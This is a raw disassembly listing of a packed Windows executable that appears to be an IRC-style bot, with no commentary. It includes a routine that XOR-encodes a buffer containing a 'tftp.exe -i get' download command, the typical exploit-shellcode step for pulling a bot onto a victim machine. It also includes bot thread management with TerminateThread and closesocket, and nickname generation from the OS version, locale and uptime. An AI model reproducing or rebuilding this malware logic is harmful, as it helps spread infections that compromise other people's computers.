eax, eax jnz short loc_40AEC7 add esi, 14h inc edi cmp esi, offset off_42D9A8 jb short loc_40AE90 jmp short loc_40AED5 ; --------------------------------------------------------------------------- loc_40AEC7: ; CODE XREF: sub_40AE84+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42D920[eax*4] pop ecx loc_40AED5: ; CODE XREF: sub_40AE84+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40AEE8 push [ebp+arg_0] call sub_40ADE1 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40AEE8: ; CODE XREF: sub_40AE84+57j mov eax, [ebp+arg_0] pop ebp retn sub_40AE84 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0B8h push ebx push esi lea eax, [ebp-0B8h] push edi push eax mov edi, offset byte_43DB88 mov dword ptr [ebp-0B8h], 94h call dword_4270D0 ; GetVersionExA cmp dword ptr [ebp-0B4h], 4 push 0Ah pop ebx jnz short loc_40AF67 cmp dword ptr [ebp-0B0h], 0 jnz short loc_40AF48 cmp dword ptr [ebp-0A8h], 1 jnz short loc_40AF38 mov edi, offset dword_431620 loc_40AF38: ; CODE XREF: .packed:0040AF31j cmp dword ptr [ebp-0A8h], 2 jnz short loc_40AFA3 mov edi, offset dword_43161C jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF48: ; CODE XREF: .packed:0040AF28j cmp [ebp-0B0h], ebx jnz short loc_40AF57 mov edi, offset dword_431618 jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF57: ; CODE XREF: .packed:0040AF4Ej cmp dword ptr [ebp-0B0h], 5Ah jnz short loc_40AF9E mov edi, offset dword_431614 jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF67: ; CODE XREF: .packed:0040AF1Fj cmp dword ptr [ebp-0B4h], 5 jnz short loc_40AF9E cmp dword ptr [ebp-0B0h], 0 jnz short loc_40AF80 mov edi, offset dword_431610 jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF80: ; CODE XREF: .packed:0040AF77j cmp dword ptr [ebp-0B0h], 1 jnz short loc_40AF90 mov edi, offset dword_43160C jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF90: ; CODE XREF: .packed:0040AF87j cmp dword ptr [ebp-0B0h], 2 mov edi, offset dword_431684 jz short loc_40AFA3 loc_40AF9E: ; CODE XREF: .packed:0040AF5Ej ; .packed:0040AF6Ej mov edi, offset dword_431680 loc_40AFA3: ; CODE XREF: .packed:0040AF3Fj ; .packed:0040AF46j ... lea eax, [ebp-0A4h] push offset word_4CB88C push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40AFC1 mov esi, offset dword_43167C jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFC1: ; CODE XREF: .packed:0040AFB8j lea eax, [ebp-0A4h] push offset a1 ; "1" push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40AFDF mov esi, offset sub_431678 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFDF: ; CODE XREF: .packed:0040AFD6j lea eax, [ebp-0A4h] push offset dword_431674 push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40AFFD mov esi, offset dword_431670 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFFD: ; CODE XREF: .packed:0040AFF4j lea eax, [ebp-0A4h] push offset dword_43166C push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40B01B mov esi, offset dword_431668 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40B01B: ; CODE XREF: .packed:0040B012j lea eax, [ebp-0A4h] push offset dword_431664 push eax call sub_41C2E0 pop ecx mov esi, offset dword_431660 test eax, eax pop ecx jnz short loc_40B03C mov esi, offset off_43165C loc_40B03C: ; CODE XREF: .packed:0040AFBFj ; .packed:0040AFDDj ... lea eax, [ebp-0Ch] or dword ptr [ebp-4], 0FFFFFFFFh push eax or dword ptr [ebp-8], 0FFFFFFFFh or dword ptr [ebp-0Ch], 0FFFFFFFFh lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push offset aDdDhDm ; "%dd %dh %dm" push 0 call sub_41ADD8 pop ecx push eax call sub_41CCE3 mov eax, [ebp-4] add esp, 14h cmp eax, ebx jge short loc_40B086 push eax push offset a0D ; "0%d" lea eax, [ebp-18h] push ebx push eax call sub_41C360 add esp, 10h jmp short loc_40B0AA ; --------------------------------------------------------------------------- loc_40B086: ; CODE XREF: .packed:0040B06Fj cmp eax, 64h jge short loc_40B098 lea ecx, [ebp-18h] push ebx push ecx push eax call sub_42635C jmp short loc_40B0A7 ; --------------------------------------------------------------------------- loc_40B098: ; CODE XREF: .packed:0040B089j push offset a99 ; "99" lea eax, [ebp-18h] push ebx push eax call sub_41C360 loc_40B0A7: ; CODE XREF: .packed:0040B096j add esp, 0Ch loc_40B0AA: ; CODE XREF: .packed:0040B084j call dword_4270B0 ; GetTickCount push eax call sub_41C2B8 pop ecx lea eax, [ebp-24h] push ebx push eax push 7 push 800h call dword_4270CC ; GetLocaleInfoA lea eax, [ebp-18h] push eax push esi lea eax, [ebp-24h] push edi mov edi, [ebp+8] push eax push offset aSSSS ; "%s|%s|%s|%s|" push 1Ch push edi call sub_41C360 xor esi, esi add esp, 1Ch cmp dword_429098, esi jle short loc_40B115 loc_40B0F0: ; CODE XREF: .packed:0040B113j call sub_41C2C2 cdq mov ecx, ebx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40B0F0 loc_40B115: ; CODE XREF: .packed:0040B0EEj mov eax, edi pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40B11C proc near ; CODE XREF: sub_40B13C+Ap ; sub_40B214+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_41B9C0 push [esp+8+arg_4] mov esi, eax call sub_41B9C0 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_40B11C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B13C proc near ; CODE XREF: sub_40B22B+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_40B11C cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_40B159 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40B159: ; CODE XREF: sub_40B13C+17j push ebx push esi push edi push [ebp+arg_8] call sub_41B9C0 push [ebp+arg_C] mov esi, eax call sub_41B9C0 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_43171C, eax lea eax, [edi+1] mov dword_43173D, eax lea eax, [edi+17h] mov dword_431735, eax pop eax push 74h sub eax, edi push offset dword_4316B8 push ebx mov dword_43174B, eax call sub_41CD20 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_41CD20 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_41CD20 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_41CD20 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_41CD20 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_41CD20 add esi, edi push 38h add esi, ebx push offset byte_431741 push esi call sub_41CD20 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_40B13C endp ; =============== S U B R O U T I N E ======================================= sub_40B214 proc near ; CODE XREF: sub_40B22B+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40B11C push eax call sub_40B298 add esp, 0Ch retn sub_40B214 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B22B proc near ; CODE XREF: sub_40DCF9+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_40B214 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_40B24B cmp eax, 0FFFFh jbe short loc_40B24F loc_40B24B: ; CODE XREF: sub_40B22B+17j xor eax, eax jmp short loc_40B294 ; --------------------------------------------------------------------------- loc_40B24F: ; CODE XREF: sub_40B22B+1Ej push esi push edi push ebx call sub_40B11C add eax, 101h push eax call sub_41BEB5 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_40B11C pop ecx pop ecx push eax push esi call sub_40B13C push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B3 push esi mov edi, eax call sub_41BA91 add esp, 24h mov eax, edi pop esi loc_40B294: ; CODE XREF: sub_40B22B+22j pop edi pop ebx pop ebp retn sub_40B22B endp ; =============== S U B R O U T I N E ======================================= sub_40B298 proc near ; CODE XREF: sub_40B214+Ep ; sub_40B2B3+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_40B2A1 inc ecx loc_40B2A1: ; CODE XREF: sub_40B298+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_40B298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2B3 proc near ; CODE XREF: sub_40B22B+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 0Dh jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 5Ch jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 0 jnz short loc_40B2D2 loc_40B2CF: ; CODE XREF: sub_40B2B3+8j ; sub_40B2B3+Ej ... inc [ebp+arg_C] loc_40B2D2: ; CODE XREF: sub_40B2B3+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_40B2FA mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_40B2F3 cmp al, 0Dh jz short loc_40B2F3 cmp al, 5Ch jz short loc_40B2F3 test al, al jnz short loc_40B2FA loc_40B2F3: ; CODE XREF: sub_40B2B3+32j ; sub_40B2B3+36j ... add [ebp+arg_C], 100h loc_40B2FA: ; CODE XREF: sub_40B2B3+28j ; sub_40B2B3+3Ej push [ebp+arg_C] call sub_40B298 cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_40B312 cmp eax, 0FFFFh jbe short loc_40B319 loc_40B312: ; CODE XREF: sub_40B2B3+56j xor eax, eax jmp loc_40B3B7 ; --------------------------------------------------------------------------- loc_40B319: ; CODE XREF: sub_40B2B3+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_4CBB18 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_40B349 loc_40B32D: ; CODE XREF: sub_40B2B3+94j mov al, [edx+edi] xor al, bl jz short loc_40B340 cmp al, 0Ah jz short loc_40B340 cmp al, 0Dh jz short loc_40B340 cmp al, 5Ch jnz short loc_40B344 loc_40B340: ; CODE XREF: sub_40B2B3+7Fj ; sub_40B2B3+83j ... inc bl xor edx, edx loc_40B344: ; CODE XREF: sub_40B2B3+8Bj inc edx cmp edx, ecx jb short loc_40B32D loc_40B349: ; CODE XREF: sub_40B2B3+78j cmp ecx, esi mov byte_4CBB18, bl ja short loc_40B375 push 15h push offset loc_4316A0 push [ebp+arg_0] mov byte_4316AD, cl mov byte_4316B1, bl call sub_41CD20 add esp, 0Ch push 15h jmp short loc_40B396 ; --------------------------------------------------------------------------- loc_40B375: ; CODE XREF: sub_40B2B3+9Ej push 17h push offset loc_431688 push [ebp+arg_0] mov word_431696, cx mov byte_43169B, bl call sub_41CD20 add esp, 0Ch push 17h loc_40B396: ; CODE XREF: sub_40B2B3+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_40B3B2 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_40B3A4: ; CODE XREF: sub_40B2B3+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_40B3A4 loc_40B3B2: ; CODE XREF: sub_40B2B3+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_40B3B7: ; CODE XREF: sub_40B2B3+61j pop esi leave retn sub_40B2B3 endp ; =============== S U B R O U T I N E ======================================= sub_40B3BA proc near ; CODE XREF: sub_401221+378p ; sub_401221+3B7p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43E710 loc_40B3C2: ; CODE XREF: sub_40B3BA+18j cmp byte ptr [eax], 0 jz short loc_40B3D6 add eax, 234h inc edi cmp eax, offset dword_4CB710 jl short loc_40B3C2 jmp short loc_40B421 ; --------------------------------------------------------------------------- loc_40B3D6: ; CODE XREF: sub_40B3BA+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43E710[esi] push eax call sub_41BFD0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43E910[esi], eax and dword_43E914[esi], 0 mov eax, [esp+8+arg_8] and dword_43E918[esi], 0 mov dword_43E91C[esi], eax and byte_43E928[esi], 0 pop esi loc_40B421: ; CODE XREF: sub_40B3BA+1Aj mov eax, edi pop edi retn sub_40B3BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B425 proc near ; DATA XREF: sub_401ACD+2946o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd push [ebp+var_10] mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] call sub_40B477 push [ebp+var_14] call sub_40B6D6 add esp, 14h push 0 call dword_4270D4 ; ExitThread pop edi pop esi sub_40B425 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B477 proc near ; CODE XREF: sub_40B425+38p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_43177C push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h xor edi, edi mov esi, offset dword_43E710 loc_40B4A1: ; CODE XREF: sub_40B477+78j cmp byte ptr [esi], 0 jz short loc_40B4E2 cmp [ebp+arg_C], 0 jnz short loc_40B4B5 cmp dword ptr [esi+204h], 0 jnz short loc_40B4E2 loc_40B4B5: ; CODE XREF: sub_40B477+33j push esi push edi lea eax, [ebp+var_200] push offset aD_S ; "%d. %s" push eax call sub_41C266 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 24h loc_40B4E2: ; CODE XREF: sub_40B477+2Dj ; sub_40B477+3Cj add esi, 234h inc edi cmp esi, offset dword_4CB710 jl short loc_40B4A1 pop edi pop esi leave retn sub_40B477 endp ; =============== S U B R O U T I N E ======================================= sub_40B4F5 proc near ; CODE XREF: sub_401ACD+79AAp ; sub_40B583+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B57D cmp esi, 400h jge short loc_40B57D imul esi, 234h push edi push ebx push dword_43E924[esi] lea edi, dword_43E924[esi] call dword_4270B4 ; TerminateThread cmp [edi], ebx jz short loc_40B52D push 1 pop ebp loc_40B52D: ; CODE XREF: sub_40B4F5+33j mov [edi], ebx lea edi, dword_43E918[esi] mov dword_43E910[esi], ebx mov dword_43E914[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B54E push eax call sub_419F16 pop ecx loc_40B54E: ; CODE XREF: sub_40B4F5+50j mov [edi], ebx lea edi, dword_43E91C[esi] mov byte ptr dword_43E710[esi], bl mov byte_43E928[esi], bl push dword ptr [edi] call dword_4CBA6C ; closesocket lea esi, dword_43E920[esi] mov [edi], ebx push dword ptr [esi] call dword_4CBA6C ; closesocket mov [esi], ebx pop edi loc_40B57D: ; CODE XREF: sub_40B4F5+Dj ; sub_40B4F5+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B4F5 endp ; =============== S U B R O U T I N E ======================================= sub_40B583 proc near ; CODE XREF: sub_40111D+18p ; sub_401221:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43E710 loc_40B58F: ; CODE XREF: sub_40B583+2Aj cmp byte ptr [esi], 0 jz short loc_40B5A0 push edi call sub_40B4F5 test eax, eax pop ecx jz short loc_40B5A0 inc ebx loc_40B5A0: ; CODE XREF: sub_40B583+Fj ; sub_40B583+1Aj add esi, 234h inc edi cmp esi, offset dword_4CB710 jl short loc_40B58F pop edi mov eax, ebx pop esi pop ebx retn sub_40B583 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B5B5 proc near ; CODE XREF: sub_401ACD+41B2p ; sub_401ACD+4302p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43E914 loc_40B5C9: ; CODE XREF: sub_40B5B5+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B5EB test edi, edi jle short loc_40B5DD cmp [esi], edi jz short loc_40B5DD cmp ebx, edi jnz short loc_40B5EB loc_40B5DD: ; CODE XREF: sub_40B5B5+1Ej ; sub_40B5B5+22j push ebx call sub_40B4F5 test eax, eax pop ecx jz short loc_40B5EB inc [ebp+var_4] loc_40B5EB: ; CODE XREF: sub_40B5B5+1Aj ; sub_40B5B5+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CB914 jl short loc_40B5C9 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B5B5 endp ; =============== S U B R O U T I N E ======================================= sub_40B602 proc near ; CODE XREF: sub_401221+40Fp ; sub_401ACD:loc_40242Bp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43E910 loc_40B609: ; CODE XREF: sub_40B602+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B612 inc eax loc_40B612: ; CODE XREF: sub_40B602+Dj add ecx, 234h cmp ecx, offset dword_4CB910 jl short loc_40B609 retn sub_40B602 endp ; =============== S U B R O U T I N E ======================================= sub_40B621 proc near ; CODE XREF: sub_401ACD+23D9p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43E910 loc_40B62B: ; CODE XREF: sub_40B621+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B644 add ecx, 234h inc edx cmp ecx, offset dword_4CB910 jl short loc_40B62B pop esi retn ; --------------------------------------------------------------------------- loc_40B644: ; CODE XREF: sub_40B621+10j mov eax, edx pop esi retn sub_40B621 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B648 proc near ; CODE XREF: sub_401ACD+123Dp ; sub_401ACD+125Bp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B661 push [ebp+arg_1C] call sub_41C159 pop ecx loc_40B661: ; CODE XREF: sub_40B648+Ej push eax push [ebp+arg_18] call sub_40B5B5 pop ecx test eax, eax pop ecx jle short loc_40B68D push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41C266 add esp, 14h jmp short loc_40B6A7 ; --------------------------------------------------------------------------- loc_40B68D: ; CODE XREF: sub_40B648+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41C266 add esp, 10h loc_40B6A7: ; CODE XREF: sub_40B648+43j cmp [ebp+arg_C], 0 jnz short loc_40B6C7 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_40B6C7: ; CODE XREF: sub_40B648+63j lea eax, [ebp+var_200] push eax call sub_415D38 pop ecx leave retn sub_40B648 endp ; =============== S U B R O U T I N E ======================================= sub_40B6D6 proc near ; CODE XREF: sub_4017ED+159p ; sub_40B425+40p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43E924[eax], ecx mov dword_43E910[eax], ecx mov dword_43E914[eax], ecx mov dword_43E918[eax], ecx mov dword_43E91C[eax], ecx mov dword_43E920[eax], ecx mov byte ptr dword_43E710[eax], cl mov byte_43E928[eax], cl retn sub_40B6D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B713 proc near ; CODE XREF: sub_401ACD+7C2Bp ; sub_40B841+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B71D: ; CODE XREF: sub_40B713+68j mov cl, [esi] test cl, cl jz short loc_40B77D cmp eax, 1 jnz short loc_40B77D mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B77D cmp cl, 2Ah jz short loc_40B764 cmp cl, 3Fh jz short loc_40B747 cmp cl, 5Bh jz short loc_40B74C xor eax, eax cmp cl, dl setz al loc_40B747: ; CODE XREF: sub_40B713+26j inc [ebp+arg_4] jmp short loc_40B777 ; --------------------------------------------------------------------------- loc_40B74C: ; CODE XREF: sub_40B713+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B7A9 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B777 ; --------------------------------------------------------------------------- loc_40B764: ; CODE XREF: sub_40B713+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B841 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B777: ; CODE XREF: sub_40B713+37j ; sub_40B713+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B71D ; --------------------------------------------------------------------------- loc_40B77D: ; CODE XREF: sub_40B713+Ej ; sub_40B713+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B78D cmp eax, 1 jnz short loc_40B7A4 inc esi mov [ebp+arg_0], esi jmp short loc_40B77D ; --------------------------------------------------------------------------- loc_40B78D: ; CODE XREF: sub_40B713+6Dj cmp eax, 1 jnz short loc_40B7A4 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B7A4 cmp byte ptr [esi], 0 jnz short loc_40B7A4 push 1 pop eax jmp short loc_40B7A6 ; --------------------------------------------------------------------------- loc_40B7A4: ; CODE XREF: sub_40B713+72j ; sub_40B713+7Dj ... xor eax, eax loc_40B7A6: ; CODE XREF: sub_40B713+8Fj pop esi pop ebp retn sub_40B713 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7A9 proc near ; CODE XREF: sub_40B713+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B7CA inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B7CA: ; CODE XREF: sub_40B7A9+19j push ebx push esi loc_40B7CC: ; CODE XREF: sub_40B7A9+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B7DA cmp [ebp+var_4], eax jnz short loc_40B826 loc_40B7DA: ; CODE XREF: sub_40B7A9+2Aj test edi, edi jnz short loc_40B81B cmp bl, 2Dh jnz short loc_40B80F mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B80F cmp al, 5Dh jz short loc_40B80F cmp [ebp+var_4], edi jnz short loc_40B80F mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B81B cmp bl, al jg short loc_40B81B push 1 mov [edx], esi pop edi jmp short loc_40B81B ; --------------------------------------------------------------------------- loc_40B80F: ; CODE XREF: sub_40B7A9+38j ; sub_40B7A9+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B81B push 1 pop edi loc_40B81B: ; CODE XREF: sub_40B7A9+33j ; sub_40B7A9+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B7CC ; --------------------------------------------------------------------------- loc_40B826: ; CODE XREF: sub_40B7A9+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B833 mov ecx, eax sub ecx, edi mov edi, ecx loc_40B833: ; CODE XREF: sub_40B7A9+82j cmp edi, eax jnz short loc_40B83C mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B83C: ; CODE XREF: sub_40B7A9+8Cj mov eax, edi pop edi leave retn sub_40B7A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B841 proc near ; CODE XREF: sub_40B713+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B85D: ; CODE XREF: sub_40B841+3Aj cmp [eax], bl jz short loc_40B87D mov cl, [ecx] cmp cl, 3Fh jz short loc_40B872 cmp cl, 2Ah jnz short loc_40B87D cmp cl, 3Fh jnz short loc_40B875 loc_40B872: ; CODE XREF: sub_40B841+25j inc eax mov [edi], eax loc_40B875: ; CODE XREF: sub_40B841+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B85D ; --------------------------------------------------------------------------- loc_40B87D: ; CODE XREF: sub_40B841+1Ej ; sub_40B841+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B888 inc dword ptr [esi] jmp short loc_40B87D ; --------------------------------------------------------------------------- loc_40B888: ; CODE XREF: sub_40B841+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B8A9 mov edx, [esi] cmp [edx], bl jz short loc_40B89A xor eax, eax jmp short loc_40B909 ; --------------------------------------------------------------------------- loc_40B89A: ; CODE XREF: sub_40B841+53j cmp cl, bl jnz short loc_40B8A9 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B8A9 push 1 pop eax jmp short loc_40B909 ; --------------------------------------------------------------------------- loc_40B8A9: ; CODE XREF: sub_40B841+4Dj ; sub_40B841+5Bj ... push eax push dword ptr [esi] call sub_40B713 pop ecx test eax, eax pop ecx jnz short loc_40B8F3 loc_40B8B7: ; CODE XREF: sub_40B841+B0j inc dword ptr [edi] mov eax, [edi] loc_40B8BB: ; CODE XREF: sub_40B841+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B8D3 cmp cl, 5Bh jz short loc_40B8D3 cmp dl, bl jz short loc_40B8D3 inc eax mov [edi], eax jmp short loc_40B8BB ; --------------------------------------------------------------------------- loc_40B8D3: ; CODE XREF: sub_40B841+82j ; sub_40B841+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B8EA push eax push dword ptr [esi] call sub_40B713 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B8EF ; --------------------------------------------------------------------------- loc_40B8EA: ; CODE XREF: sub_40B841+96j mov [ebp+var_4], ebx xor eax, eax loc_40B8EF: ; CODE XREF: sub_40B841+A7j cmp eax, ebx jnz short loc_40B8B7 loc_40B8F3: ; CODE XREF: sub_40B841+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B906 mov eax, [esi] cmp [eax], bl jnz short loc_40B906 mov [ebp+var_4], 1 loc_40B906: ; CODE XREF: sub_40B841+B6j ; sub_40B841+BCj mov eax, [ebp+var_4] loc_40B909: ; CODE XREF: sub_40B841+57j ; sub_40B841+66j pop edi pop esi pop ebx leave retn sub_40B841 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B90E proc near ; CODE XREF: sub_401ACD+2AB2p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_431B94 push eax xor ebx, ebx call sub_41C266 cmp dword_4317F8, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B980 push esi mov esi, offset dword_431800 loc_40B941: 